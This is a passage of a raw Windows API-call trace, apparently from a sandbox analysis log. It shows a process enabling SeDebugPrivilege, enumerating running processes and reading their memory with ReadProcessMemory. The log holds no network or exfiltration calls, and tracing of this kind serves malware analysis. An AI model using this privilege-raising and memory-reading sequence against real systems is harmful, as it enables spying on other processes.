lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.541] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.552] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xfde7f0a020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.552] malloc (_Size=0xf0) returned 0x20abc284e70 [0267.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0267.554] free (_Block=0x20abc284e70) [0267.555] CloseHandle (hObject=0x16c) returned 1 [0267.555] _ui64tow_s (in: _Value=0xd18, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3352") returned 0x0 [0267.561] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3352") returned 4 [0267.562] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.562] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.581] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd18) returned 0x16c [0267.581] GetLastError () returned 0x0 [0267.582] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.582] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6175995018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.582] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71e70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71a58, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.584] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.586] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6175995020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.586] malloc (_Size=0xf0) returned 0x20abc284e70 [0267.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0267.588] free (_Block=0x20abc284e70) [0267.605] CloseHandle (hObject=0x16c) returned 1 [0267.607] free (_Block=0x20abc286d60) [0267.607] malloc (_Size=0x48) returned 0x20abc27cb20 [0267.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd390 | out: lpSystemTimeAsFileTime=0x2dc22fd390*(dwLowDateTime=0x5b4619e9, dwHighDateTime=0x1d9eb0c)) [0267.608] SetEvent (hEvent=0x248) returned 1 [0267.636] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402140 [0267.637] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402140, pulNumLanguages=0x2dc22fdde0 | out: pulNumLanguages=0x2dc22fdde0) returned 1 [0267.637] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402140) returned 1 [0267.637] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4020f0) returned 1 [0268.114] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0270.315] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0272.484] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0274.675] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0275.311] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0275.358] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0275.358] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc30 | out: pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc30) returned 1 [0275.358] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402170 [0275.358] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0275.359] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x20abc402170, pcchLanguagesBuffer=0x2dc22fdc30 | out: pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x20abc402170, pcchLanguagesBuffer=0x2dc22fdc30) returned 1 [0275.359] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402140 [0275.359] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402170) returned 1 [0275.359] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93670 [0275.359] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93670, pulNumLanguages=0x2dc22fdd38 | out: pulNumLanguages=0x2dc22fdd38) returned 1 [0275.360] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93670) returned 1 [0275.365] malloc (_Size=0xb0) returned 0x20abc2867b0 [0275.365] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb201b0000 [0275.365] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlInitUnicodeString") returned 0x7ffb201cced0 [0275.366] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlFreeUnicodeString") returned 0x7ffb201cc680 [0275.366] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffb20257f10 [0275.366] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffb20257630 [0275.366] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtCreateFile") returned 0x7ffb202557e0 [0275.366] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemInformation") returned 0x7ffb20255400 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryDirectoryObject") returned 0x7ffb202572f0 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryObject") returned 0x7ffb20254f40 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenDirectoryObject") returned 0x7ffb20255840 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb20255060 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationToken") returned 0x7ffb20255160 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenFile") returned 0x7ffb202553a0 [0275.367] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtClose") returned 0x7ffb20254f20 [0275.368] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtFsControlFile") returned 0x7ffb20255460 [0275.368] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffb20255660 [0275.369] malloc (_Size=0x18) returned 0x20abc281bc0 [0275.369] GetCurrentThread () returned 0xfffffffffffffffe [0275.369] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc22fd320 | out: TokenHandle=0x2dc22fd320*=0x16c) returned 1 [0275.369] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc22fd35c | out: lpLuid=0x2dc22fd35c*(LowPart=0x14, HighPart=0)) returned 1 [0275.372] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0275.372] AdjustTokenPrivileges (in: TokenHandle=0x16c, DisableAllPrivileges=0, NewState=0x2dc22fd358*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0275.372] GetLastError () returned 0x0 [0275.372] CloseHandle (hObject=0x16c) returned 1 [0275.372] malloc (_Size=0x8000) returned 0x20abc286d60 [0275.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0275.375] free (_Block=0x20abc286d60) [0275.376] malloc (_Size=0x10000) returned 0x20abc286d60 [0275.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0275.380] free (_Block=0x20abc286d60) [0275.380] malloc (_Size=0x18000) returned 0x20abc286d60 [0275.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0275.384] free (_Block=0x20abc286d60) [0275.384] malloc (_Size=0x20000) returned 0x20abc286d60 [0275.384] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0275.386] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0275.390] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="0") returned 1 [0275.404] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.404] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.465] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0275.465] CloseHandle (hObject=0x0) returned 0 [0275.465] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0275.469] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4") returned 1 [0275.470] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.470] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0275.495] CloseHandle (hObject=0x0) returned 0 [0275.496] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0275.500] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="312") returned 3 [0275.506] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.506] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0275.520] CloseHandle (hObject=0x0) returned 0 [0275.520] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0275.524] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="384") returned 3 [0275.525] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.525] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0275.538] CloseHandle (hObject=0x0) returned 0 [0275.539] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0275.542] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="444") returned 3 [0275.544] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.544] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.587] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0275.587] CloseHandle (hObject=0x0) returned 0 [0275.588] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0275.591] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="456") returned 3 [0275.592] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.592] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.605] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0275.605] CloseHandle (hObject=0x0) returned 0 [0275.606] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0275.609] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="508") returned 3 [0275.622] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.622] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x16c [0275.636] GetLastError () returned 0x0 [0275.637] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.637] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.637] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.638] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.638] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc22fc240, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.639] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.640] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.640] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.641] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.641] malloc (_Size=0x1c) returned 0x20abc2a9eb0 [0275.641] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2a9eb0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a9eb0*, lpNumberOfBytesRead=0x0) returned 1 [0275.641] free (_Block=0x20abc2a9eb0) [0275.642] CloseHandle (hObject=0x16c) returned 1 [0275.642] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0275.645] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="532") returned 3 [0275.646] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.646] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.670] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0275.670] CloseHandle (hObject=0x0) returned 0 [0275.670] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0275.674] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="540") returned 3 [0275.674] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.674] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.687] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x16c [0275.687] GetLastError () returned 0x0 [0275.689] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.689] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc22fc240, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.691] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.692] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.692] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.693] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.693] malloc (_Size=0x3e) returned 0x20abc27cf80 [0275.693] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27cf80, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0275.693] free (_Block=0x20abc27cf80) [0275.694] CloseHandle (hObject=0x16c) returned 1 [0275.695] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0275.699] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="628") returned 3 [0275.701] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.701] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.716] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x16c [0275.716] GetLastError () returned 0x0 [0275.718] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, 